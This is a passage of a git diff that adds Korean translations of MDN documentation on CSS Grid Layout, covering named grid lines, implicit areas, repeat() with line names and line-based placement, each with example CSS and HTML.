+ +

이 프로퍼티는 또 {{cssxref("grid-gap")}} 프로퍼티를 0으로 재설정합니다만, 이 단축용법에서는 이 간격을 지정해줄 수는 없습니다.

+ +

이 용법은 {{cssxref("grid-template")}} 단축용법과 똑같은 방법으로 사용할 수 있습니다만, 이렇게 하면 설정했던 다른 프로퍼티 값들을 재설정하게 된다는 점을 주의하셔야 합니다.

+ +
.wrapper {
+    display: grid;
+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

이 단축용법이 제공하는 다른 기능은 나중에 자동 배치와 grid-auto-flow 프로퍼티를 알아보는 가이드에서 다시 살펴보겠습니다.

+ +

만약 지금까지의 초반 가이드들을 쭉 훑어보셨다면, 이제 라인을 기준으로 한 배치나 이름이 지명된 영역을 사용해서 그리드 레이아웃을 만드실 수 있는 위치까지 도달하셨습니다. 다음엔 충분한 시간을 가지고 그리드를 사용해서 몇몇 일반적인 레이아웃 패턴을 만들어 보시도록 하십시오. 앞으로 더 배워야 할 많은 새로운 기술 용어들이 있지만, 이들의 문법은 비교적 이해하기 쉬울 겁니다. 여러 예제를 다루시면서, 지금까지 다루지 않았던 것들에 대한 여러 의문점과 복잡한 사용 사례들을 마주칠 수 있을 겁니다. 이번 가이드의 나머지 부분에서는 표준 명세서에 있는 좀 더 자세한 사항들을 알아 볼 예정입니다. 그래서 앞으로 소개될 기술을 가지고 좀 더 복잡한 고급 레이아웃을 만들 수 있게 되시길 바랍니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/index.html b/files/ko/web/css/css_grid_layout/index.html new file mode 100644 index 0000000000..f3d2b42199 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/index.html @@ -0,0 +1,253 @@ +--- +title: CSS 그리드 레이아웃 +slug: Web/CSS/CSS_Grid_Layout +tags: + - CSS + - Grid Layout + - Grids + - 개요 + - 그리드 + - 그리드 레이아웃 + - 레이아웃 + - 참고 +translation_of: Web/CSS/CSS_Grid_Layout +--- +

CSS 그리드 레이아웃(Grid Layout)은 페이지를 여러 주요 영역으로 나누거나, 크기와 위치 및 문서 계층 구조의 관점에서 HTML 기본 요소로 작성된 콘트롤 간의 관계를 정의하는 데 아주 탁월합니다.

+ +

테이블과 마찬가지로 그리드 레이아웃은 세로 열과 가로 행을 기준으로 요소를 정렬할 수 있습니다. 하지만, 테이블과 달리 CSS 그리드는 다양한 레이아웃을 훨씬 더 쉽게 구현할 수 있습니다. 예를 들어, 그리드 컨테이너 속 자식 요소를, 마치 CSS로 일일이 위치를 지정해 준 것처럼, 실제로 겹치게 층을 지면서 자리를 잡도록 각 요소의 위치를 지정해 줄 수도 있습니다.

+ +

기본 예제

+ +

아래 예제는 3개의 세로 열 트랙으로 이루어졌으며, 저절로 채워지며 생성되는 가로 행 트랙은 높이가 최소 100픽셀 이상, 콘텐츠 최대치까지 자동으로 늘어나는 구조의 그리드를 보여줍니다. 각 아이템은 그리드 라인을 기준으로 배치되었습니다.

+ +
+ + +

HTML

+ +
<div class="wrapper">
+  <div class="one">One</div>
+  <div class="two">Two</div>
+  <div class="three">Three</div>
+  <div class="four">Four</div>
+  <div class="five">Five</div>
+  <div class="six">Six</div>
+</div>
+ +

CSS

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+
+ +

{{ EmbedLiveSample('example', '500', '440') }}

+
+ +

참고

+ +

CSS 프로퍼티

+ +
+
    +
  • {{cssxref("grid-template-columns")}}
  • +
  • {{cssxref("grid-template-rows")}}
  • +
  • {{cssxref("grid-template-areas")}}
  • +
  • {{cssxref("grid-template")}}
  • +
  • {{cssxref("grid-auto-columns")}}
  • +
  • {{cssxref("grid-auto-rows")}}
  • +
  • {{cssxref("grid-auto-flow")}}
  • +
  • {{cssxref("grid")}}
  • +
  • {{cssxref("grid-row-start")}}
  • +
  • {{cssxref("grid-column-start")}}
  • +
  • {{cssxref("grid-row-end")}}
  • +
  • {{cssxref("grid-column-end")}}
  • +
  • {{cssxref("grid-row")}}
  • +
  • {{cssxref("grid-column")}}
  • +
  • {{cssxref("grid-area")}}
  • +
  • {{cssxref("grid-row-gap")}}
  • +
  • {{cssxref("grid-column-gap")}}
  • +
  • {{cssxref("grid-gap")}}
  • +
+
+ +

CSS 함수

+ +
+
    +
  • {{cssxref("repeat", "repeat()")}}
  • +
  • {{cssxref("minmax", "minmax()")}}
  • +
  • {{cssxref("fit-content", "fit-content()")}}
  • +
+
+ +

CSS 데이터 타입

+ +
+
    +
  • {{cssxref("<flex>")}}
  • +
+
+ +

용어집 목록

+ + + +

가이드

+ + + +

외부 문서

+ + + +

표준 문서

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Grid') }}{{ Spec2('CSS3 Grid') }}Initial definition.
+ + diff --git a/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html new file mode 100644 index 0000000000..bc0957fb2e --- /dev/null +++ b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html @@ -0,0 +1,497 @@ +--- +title: Layout using named grid lines +slug: Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines +--- +

이전 가이드에선 그리드 트랙을 정의하면 생성되는 라인을 사용해서 아이템을 배치하는 법을 살펴보았으며, 또한 이름이 명명된 템플릿 영역을 가지고 어떻게 아이템들을 배치하는지도 알아보았습니다. 이번 가이드에선 이름이 주어진 라인을 쓰는 상황에서 이 두 가지 방법이 서로 어떻게 작용하는지 알아보겠습니다. 라인에 이름을 지어 주는 것이 매우 유용할 때도 있지만, 이름과 트랙 크기가 혼합돼서 사용되는 그리드 용법을 보고 있으면 매우 헷갈릴 수도 있습니다. 하지만 몇 가지 예제를 가지고 작업해 보시면 점점 명확해지면서 나중엔 작업하기도 훨씬 수월해지실 겁니다.

+ +

그리드를 정의할 때 라인의 이름 짓는 법

+ +

grid-template-rows 그리고 grid-template-columns 프로퍼티로 그리드를 정의할 때 그리드에 있는 모든 라인 혹은 일부 라인들에 이름을 지어 줄 수 있습니다. 본보기로 라인을 기준으로 아이템을 배치하는 방법을 설명한 가이드에서 만들었던 간단한 레이아웃을 예로 들어 보겠습니다. 이번엔 이름이 주어진 라인을 써서 그리드를 만들 겁니다.

+ +
+ + +

그리드를 정의할 때, 그리드 라인의 이름은 대괄호 안에 적어줍니다. 여기서 라인 이름은 원하시는 것 아무거나 다 괜찮습니다. 여기선 컨테이너를 감싸는 행과 열 방향의 시작과 끝 라인 모두의 이름을 정의해 주었습니다. 그리드에 있는 모든 라인의 이름을 다 붙여줄 필요는 없습니다만, 그리드 가운데에 있는 블록의 행과 열 방향의 라인 이름을 content-start 그리고 content-end라는 이름을 정의해 주었습니다. 이런 식으로 레이아웃의 몇몇 주요 라인들에만 이름을 붙여주시면 됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+
+ +

이렇게 라인들에 이름을 짓고 나면, 라인 번호 대신에 이름을 써서 아이템을 배치할 수 있게 됩니다.

+ +
.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+
+.box2 {
+  grid-column-start: content-end;
+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+
+ +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+  <div class="box4">Four</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_named_lines', '500', '330') }}

+
+ +

라인을 기준으로 배치할 때 적용할 수 있는 다른 모든 사항은 여기서도 똑같은 방식으로 작동하며 이름이 주어진 라인과 라인 번호를 섞어서 사용하실 수도 있습니다. 이름이 주어진 라인의 사용은 그리드를 재정의하는 반응형 디자인을 만들고자 할 때, 미디어 쿼리에서 라인 번호를 바꿔가면서 일일이 콘텐츠의 위치를 다시 정의해 줄 필요가 없다는 장점이 있습니다. 다만, 그리드를 정의할 때 라인의 이름은 항상 같은 것을 사용하도록 주의해야 합니다.

+ +

라인에 여러 개의 이름 지어주기

+ +

라인의 이름을 정할 때 하나 이상의 이름을 붙여주고 싶을 때가 있는데, 예를 들어 sidebar-end 그리고 main-start를 함께 표기하고자 할 때가 있습니다. 이럴 땐 [sidebar-end main-start]처럼 대괄호 안에서 공백을 사이에 두고 이름을 추가해 주면 됩니다. 그러면 해당 라인은 둘 중 아무 이름을 써도 같은 것을 가리키게 됩니다.

+ +

이름이 주어진 라인으로 만들어지는 잠재적 그리드 영역

+ +

라인의 이름을 지어줄 때는 원하시는 이름 아무거나 붙여주셔도 된다고 말씀드린 바 있습니다. 여기에 붙이는 이름은 custom ident로서, 저자가 정의해 준 이름이 됩니다. 이름을 지을 때 명세서에 나타날 수 있는 단어는 피하시는 게 좋으며 span과 같이 혼동을 줄 수 있는 것도 사용하지 말아야 합니다. 그리고 이름에 따옴표가 포함되면 안 됩니다.

+ +

이름은 아무거나 선택하실 수 있지만, 위 예제에 나와 있는 것처럼 만약에 영역 주변에 있는 라인의 이름 끝에 -start 혹은 -end를 붙이면, 그리드는 전체 이름 중 꼬리 부분을 뗀 주요 이름만으로 명명된 영역을 생성하게 됩니다. 위 예제에선, 열과 행의 라인 모두 content-startcontent-end라는 이름이 주어져 있습니다. 이 말은 content라는 이름의 영역이 자동으로 만들어 지면서, 원하시면 어떠한 요소든 해당 영역에 이 이름을 써서 배치할 수 있게 된다는 뜻입니다.

+ +
+ + +

다음 예제에선 위에서와 똑 같은 그리드를 정의해 주었지만, 이번엔 content라는 이름을 가진 영역에 하나의 아이템을 배치하였습니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+
+ +
<div class="wrapper">
+  <div class="thing">I am placed in an area named content.</div>
+</div>
+
+ +

{{ EmbedLiveSample('implicit_areas_from_lines', '500', '330') }}

+
+ +

여기선 라인의 이름을 지어 주면서 해당 라인이 감싸는 영역이 자동으로 만들어졌기 때문에, grid-template-areas를 써서 영역의 위치를 일일이 정의해 줄 필요가 없습니다.

+ +

이름이 주어진 영역으로 만들어지는 잠재적 그리드 라인

+ +

지금까지 라인에 이름을 지어 주면 어떻게 해당 이름으로 된 영역도 함께 만들어지는지 살펴보았으며, 이는 역으로도 작용합니다. 이름이 주어진 템플릿 영역은 그에 어울리는 이름이 붙여진 라인을 생성하면서, 이를 이용해서 아이템을 배치할 수 있게 됩니다. 이전 그리드 템플릿 영역에 관한 가이드에서 만들었던 레이아웃을 그대로 가져와서, 여기에 영역을 지정해서 만들어진 라인을 써서 레이아웃에  적용해 본다면 이것이 어떻게 작동하는지 쉽게 이해하실 수 있을 겁니다.

+ +

다음 예제에선 overlay라는 이름의 클래스를 지정한 추가 div 요소를 더하였습니다. grid-area 프로퍼티를 써서 이름이 주어진 영역을 생성하였고, grid-template-areas 프로퍼티에서 레이아웃을 정의해 주었습니다. 영역의 이름은 다음과 같습니다:

+ +
    +
  • hd
  • +
  • ft
  • +
  • main
  • +
  • sd
  • +
+ +

이렇게 해서 만들어진 열과 행 라인의 이름은 다음과 같습니다:

+ +
    +
  • hd-start
  • +
  • hd-end
  • +
  • sd-start
  • +
  • sd-end
  • +
  • main-start
  • +
  • main-end
  • +
  • ft-start
  • +
  • ft-end
  • +
+ +

이름이 주어진 라인의 모습은 아래 그림에서 확인할 수 있는데, 몇몇 라인들은 두 개의 이름을 가지고 있는 것을 확인하실 수 있습니다. 예를 들면, sd-endmain-start는 같은 열 방향의 라인을 가리키고 있습니다.

+ +

An image showing the implicit line names created by our grid areas.

+ +

여기서 잠재적으로 이름이 주어진 라인을 써서 overlay 요소를 배치하는 방법은 이름을 직접 지정한 라인을 써서 아이템을 배치하는 방법과 똑같습니다.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+.header {
+  grid-area: hd;
+}
+
+.footer {
+  grid-area: ft;
+}
+
+.content {
+  grid-area: main;
+}
+
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper > div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+
+ +
<div class="wrapper">
+  <div class="header">Header</div>
+  <div class="sidebar">Sidebar</div>
+  <div class="content">Content</div>
+  <div class="footer">Footer</div>
+  <div class="overlay">Overlay</div>
+</div>
+
+ +

{{ EmbedLiveSample('implicit_lines_from_area', '500', '330') }}

+
+ +

이름이 주어진 영역으로부터 라인이 생성되고 또 라인에 이름을 정해주면 거기에 맞는 영역이 만들어지면서, 이를 이용해 아이템을 배치할 수 있다는 점을 고려한다면, 그리드 레이아웃을 만들기 시작할 때 미리 계획해서 이름을 정하는 데 약간의 시간을 할애할 가치가 있음을 알 수 있습니다. 이름을 선택할 때 자신과 자기 팀원들 모두가 쉽게 이해할 수 있는 것으로 정한다면 모두에게 여러분이 만든 레이아웃을 쉽게 이용하는 데 도움을 줄 수 있을 것입니다.

+ +

repeat()을 써서 같은 이름을 가진 여러 개의 라인 만들기

+ +

만약에 그리드에 있는 모든 라인에 독자적인 이름을 지어 주길 원하신다면, 트랙을 정의할 때 반복 용법을 사용하는 대신 대괄호 안에다 이름을 일일이 추가해줘야 해서 약간 장황하게 트랙의 정의를 작성하셔야 합니다. 반복 용법을 사용하게 되면 여러 라인이 같은 이름을 갖게 되는데, 이 또한 매우 유용할 수도 있습니다.

+ +

다음 예제에서는 같은 너비를 가진 열두 개의 열로 구성된 그리드를 생성합니다. 여기선 1fr 너비의 열 트랙을 정의하기 전에 [col-start]라는 라인 이름을 함께 정의해 주었습니다. 이렇게 하면 1fr 너비의 세로 열 전면에 똑같이 col-start라는 이름이 주어진 12개의 열 방향의 라인으로 구성된 그리드를 만들게 됩니다.

+ +
+ + +

 

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+ +

이렇게 그리드를 생성하고 나면 여기에다 아이템을 배치할 수 있게 됩니다. 여러 개의 라인 이름을 col-start라는 이름으로 지어 주었기 때문에 col-start 라인을 기준 시작 지점으로 아이템을 배치하게 되면 그리드는 첫 번째에 있는 col-start라는 이름의 라인을 사용하게 되는데, 여기선 맨 왼쪽에 있는 라인이 여기에 해당합니다. 또 다른 라인을 가리키려면 이름과 함께 해당 라인의 번호를 더해주면 됩니다. 아이템을 col-start라는 이름의 첫 번째 라인으로부터 다섯 번째 라인까지 걸치도록 배치하려면 다음과 같이 정의해 줍니다:

+ +
.item1 {
+  grid-column: col-start / col-start 5
+}
+
+ +

또한, 여기선 span 키워드를 쓰실 수도 있습니다. 다음 아이템은 col-start 이름을 가진 일곱 번째 라인부터 세 개의 라인에 걸치도록 배치하였습니다.

+ +
.item2 {
+  grid-column: col-start 7 / span 3;
+}
+
+ +

 

+ +
<div class="wrapper">
+  <div class="item1">I am placed from col-start line 1 to col-start 5</div>
+  <div class="item2">I am placed from col-start line 7 spanning 3 lines</div>
+</div>
+ +

{{ EmbedLiveSample('multiple_lines_same_name', '500', '330') }}

+
+ +

이 레이아웃을 Firefox Grid Highlighter에서 살펴보면 세로 열 라인이 어떻게 구성되어 있는지 그리고 또 아이템들이 이 라인들에 따라 어떻게 배치되었는지 확인하실 수 있습니다.

+ +

The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.

+ +

반복 용법은 또한 트랙의 목록을 나열해서 사용할 수 있으며, 오직 하나의 트랙 크기만 반복하도록 쓰실 필요는 없습니다. 아래의 코드는 여덟 개의 트랙으로 구성된 그리드를 만드는데, 상대적으로 더 좁은 1fr 너비의 col1-start라는 라인 이름이 지정된 세로 열 트랙 다음으로 3fr 너비의 col2-start라는 라인 이름이 지정된 세로 열 트랙으로 구성되어 있습니다.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+
+ +

만약에 반복 용법에 사용된 두 개의 라인이 서로 겹치게 된다면 그 둘은 나중에 하나로 합쳐지는데, 이는 반복 용법을 쓰지 않고 트랙을 정의할 때 하나의 라인에 여러 개의 이름을 지정해 주는 것과 똑같은 결과를 만들어 냅니다. 다음 정의에선 1fr 너비의 트랙 네 개를 생성하는데, 각 트랙은 서로 시작과 마지막을 지점에 있는 라인을 갖게 됩니다.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+
+ +

반복 표기법을 쓰지 않고 이번에 정의한 것과 같도록 작성해 준다면 다음과 같이 써줄 수 있습니다.

+ +
.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+
+ +

트랙 목록을 사용했다면 span 키워드를 써서, 단지 몇 개의 라인들을 걸치게 할지 정해줄 뿐만 아니라, 특정 이름의 라인 몇 개를 걸쳐서 자리를 잡게 할지도 정해 줄 수 있습니다.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">I am placed from col1-start line 1 to col2-start line 2</div>
+  <div class="item2">I am placed from col1-start line 2 spanning 2 lines named col1-start</div>
+</div>
+
+ +

{{ EmbedLiveSample('span_line_number', '500', '330') }}

+
+ +

최근 세 개의 가이드를 통해서 여러분은 그리드를 이용해 아이템을 배치하는 방법이 아주 다양하다는 것을 발견하셨을 겁니다. 처음엔 이것이 너무 복잡하다고 느끼실 수도 있겠지만, 이 모든 것을 다 이해하고 사용하실 필요는 없다는 점을 기억하시기 바랍니다. 실상황에서 간단하고 명확한 레이아웃을 구현할 경우에는 이름이 지명된 템플릿 영역을 쓰는 것이 적당할 것입니다. 이것은 레이아웃이 어떤 모습을 보여줄지 시각적으로 좋은 묘사를 제공하며, 또한 그리드에 있는 아이템을 이리저리 쉽게 옮길 수도 있습니다.

+ +

또한, 예를 들어 만약에 다중 칼럼에 꼭 들어맞는 레이아웃을 가지고 작업할 때는 이 가이드 마지막 부분에서 설명한 이름이 지정된 라인들을 사용했던 그리드가 제격입니다. 만약에 Foundation 혹은 Boostrap과 같은 프레임워크에서 채용한 그리드 시스템을 고려하신다면, 이들은 12개의 세로 열 그리드를 기준으로 하고 있습니다. 프레임워크에서는 세로 열을 모두 합쳐 최대 100%를 차지하도록 하는 모든 계산이 코드 속에 포함되어 있습니다. 하지만, 그리드 레이아웃에서 이 그리드 "프레임워크"를 구현하는데 필요한 코드는 아래처럼 아주 간단하게 작성할 수 있습니다:

+ +
+
.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+
+ +

그러면 페이지 레이아웃에 이 프레임워크를 그대로 가져다 쓰실 수 있습니다. 예를 들어, 헤더와 푸터가 있는 세 개의 세로 열 레이아웃을 구현한다면 아래와 같은 마크업을 작성할 수 있습니다.

+ + + +
<div class="wrapper">
+  <header class="main-header">I am the header</header>
+  <aside class="side1">I am sidebar 1</aside>
+  <article class="content">I am the main article</article>
+  <aside class="side2">I am sidebar 2</aside>
+  <footer class="main-footer">I am the footer</footer>
+</div>
+
+ +

그러면 이것을 이번에 작성한 그리드 레이아웃 프레임워크를 써서 다음과 같이 배치할 수 있습니다.

+ +
.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+
+ +

{{ EmbedLiveSample('three_column', '500', '330') }}

+ +

다시 한번 말씀드리지만, Firefox Grid Highlighter는 지금까지 우리가 배치했던 아이템들이 그리드 위에 어떻게 놓였는지 확인할 때 아주 유용하답니다.

+ +

The layout with the grid highlighted.

+
+ +

필요한 건 이게 전부 다입니다. 복잡한 계산 작업도 필요하지 않고, 그리드가 1fr 크기의 세로 열 트랙에 공간을 할당하기 전에, 자동으로 10픽셀 크기의 경계 여백 트랙이 차지하는 공간을 알아서 제거해 줍니다. 차차 여러분만의 레이아웃을 만들다 보면, 용법에 점점 더 익숙해 지면서 자기에게 맞는 작업 방식을 터득하게 되고, 나중에 만들고자 하는 프로젝트의 유형에 따라 적당한 것을 고를 수 있는 요령이 생기게 되실 겁니다. 우선은 지금까지 소개된 여러 방법들을 가지고 몇몇 자주 쓰이는 레이아웃의 형태들을 만들어 보신다면, 아마도 곧 가장 효율적인 자기만의 작업 방식을 찾으실 수 있을 겁니다. 그러면, 다음 가이드에선 배치 관련 프로퍼티를 전혀 쓰지 않고도 아이템들이 그리드 위에 알아서 배치되도록 만드는 방법을 알아보겠습니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html new file mode 100644 index 0000000000..91b32582b4 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -0,0 +1,649 @@ +--- +title: Line-based placement with CSS Grid +slug: Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid +--- +

그리드 레이아웃의 기본 개념을 다룬 문서에서 라인 번호를 사용하여 그리드에 아이템을 배치하는 방법을 잠깐 살펴본 적이 있습니다. 이번 문서에서는 이 기본적 기능이 어떻게 작동하는지를 자세히 살펴보겠습니다.

+ +

그리드를 연구할 때는 번호가 매겨진 라인부터 시작하는 것이 가장 논리적일 겁니다. 왜냐하면, 그리드 레이아웃을 쓸 때마다 거기엔 항상 번호가 매겨진 라인이 있기 때문입니다. 행과 열의 각 라인에는 번호가 매겨져 있으며, 라인에 번호를 매길 때는 1번부터 시작합니다. 그리드 라인은 문서의 작성 모드를 기준으로 번호가 매겨진다는 것을 명심하십시오. 영어와 같이 왼쪽에서 오른쪽으로 읽히는 언어로 쓰인 문서에서는 1번 라인이 그리드의 맨 왼쪽에 위치합니다. 반대로 오른쪽에서 왼쪽으로 읽히는 언어의 문서에서는 1번 라인이 그리드의 맨 오른쪽에 위치하게 됩니다. 문서 작성 모드와 그리드 사이의 상호 작용에 대해서는 나중에 자세히 알아보겠습니다.

+ +

간단한 예제

+ +

아주 간단한 예로, 세 개의 세로 열 트랙과 세 개의 가로 행 트랙으로 구성된 그리드의 예를 들어보겠습니다. 여기엔 각 방향으로 4개의 라인이 있습니다.

+ +

그리드 컨테이너 안에는 네 개의 자식 요소가 있습니다. 이것들을 아무런 조건 없이 그대로 그리드 위에 위치시키면, 자동 배치 규칙에 따라 각 아이템은 처음에 있는 네 개의 셀 위에 놓이게 됩니다. 여기서 Firefox의 Grid Highlighter를 사용하면 그리드의 열과 행이 어떻게 정의되어 있는지 확인하실 수 있습니다.

+ +

Our Grid highlighted in DevTools

+ + + +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-template-rows: repeat(3, 100px);
+}
+
+ +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +

{{ EmbedLiveSample('간단한_예제', '300', '330') }}

+ +

라인 번호로 아이템 배치하기

+ +

아이템들을 그리드 위 어느 곳에 자리 잡게 할지 조정할 때는 라인을 기준으로 배치할 수 있습니다. 우선 아래 예제에서는 첫 번째 아이템을 그리드의 맨 왼쪽부터 시작해서 하나의 열 트랙에 자리하도록 하였습니다. 또한, 그리드 상단에 있는 첫 번째 행부터 시작해서 네 번째 행까지 확장하도록 하였습니다.

+ +
+
.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+
+ +

몇몇 아이템의 위치를 지정해주면, 그리드에 있는 나머지 다른 아이템들은 자동 배치 규칙에 따라 연달아 놓이게 됩니다. 이 규칙은 나중에 가이드에서 어떻게 작동하는지 자세히 살펴볼 예정입니다만, 그리드와 작업하시면 자리를 지정하지 않은 아이템은 그리드의 비어있는 셀에 자동 배치되는 것을 자주 목격하실 수 있습니다.

+ +

각 아이템을 개별적으로 지정해서 행과 열 트랙에 걸쳐 네 개의 아이템들을 모두 배치할 수 있습니다. 원하시면 여기에 몇몇 셀들을 그냥 비워 둘 수도 있습니다. 그리드 레이아웃의 장점 중 하나는, 비어 있는 공간으로 다른 요소가 떠올라 채워지는 것을 막기 위해 마진을 써서 밀어낼 필요가 없어서, 흰 여백이 들어간 디자인을 쉽게 구현할 수 있다는 점입니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box2 {
+   grid-column-start: 3;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 3;
+   grid-row-start: 1;
+   grid-row-end: 2;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+   grid-row-end: 4;
+}
+
+ +

{{ EmbedLiveSample('Line_Number', '300', '330') }}

+
+ +
+

grid-columngrid-row 단축용법

+ +

앞의 예제에선 각 아이템을 배치하기 위해 상당히 많은 코드가 작성되었습니다. 그래서 여기엔 분명 {{glossary("shorthand properties", "단축용법")}}이 있을 거란 예상을 충분히 할 수 있습니다. 실제 {{cssxref("grid-column-start")}}와 {{cssxref("grid-column-end")}} 프로퍼티는 {{cssxref("grid-column")}}으로 합칠 수 있으며, {{cssxref("grid-row-start")}}와 {{cssxref("grid-row-end")}}는 {{cssxref("grid-row")}} 프로퍼티로 정의할 수 있습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 / 2;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 / 4;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 / 3;
+   grid-row: 1 /  2;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 / 4;
+}
+
+ +

{{ EmbedLiveSample('Grid_Shorthands', '300', '330') }}

+
+ +

기본 폭(spans)

+ +

위 예제에선, 프로퍼티의 사용법을 설명하려고 모든 행과 열의 마지막 라인을 지정하였습니다. 하지만, 아이템이 오직 하나의 트랙만 차지한다면 grid-column-endgrid-row-end 값은 생략할 수 있습니다. 그리드는 기본적으로 하나의 트랙에 걸치게 돼 있습니다. 이 말은 처음의 장황했던 예제가 다음처럼 단축될 수도 있습니다:

+ +
+ + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column-start: 1;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+.box2 {
+   grid-column-start: 3;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-row-start: 1;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+}
+
+ +

{{ EmbedLiveSample('End_Lines', '300', '330') }}

+
+ +

또한, 단축용법을 사용했던 예제 중 오직 하나의 트랙에 걸쳐 있는 아이템의 경우에는 뒤로 누운 슬래쉬와 두 번째 값을 생략하고 다음처럼 정의할 수 있습니다.

+ +
+ + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+
+ +

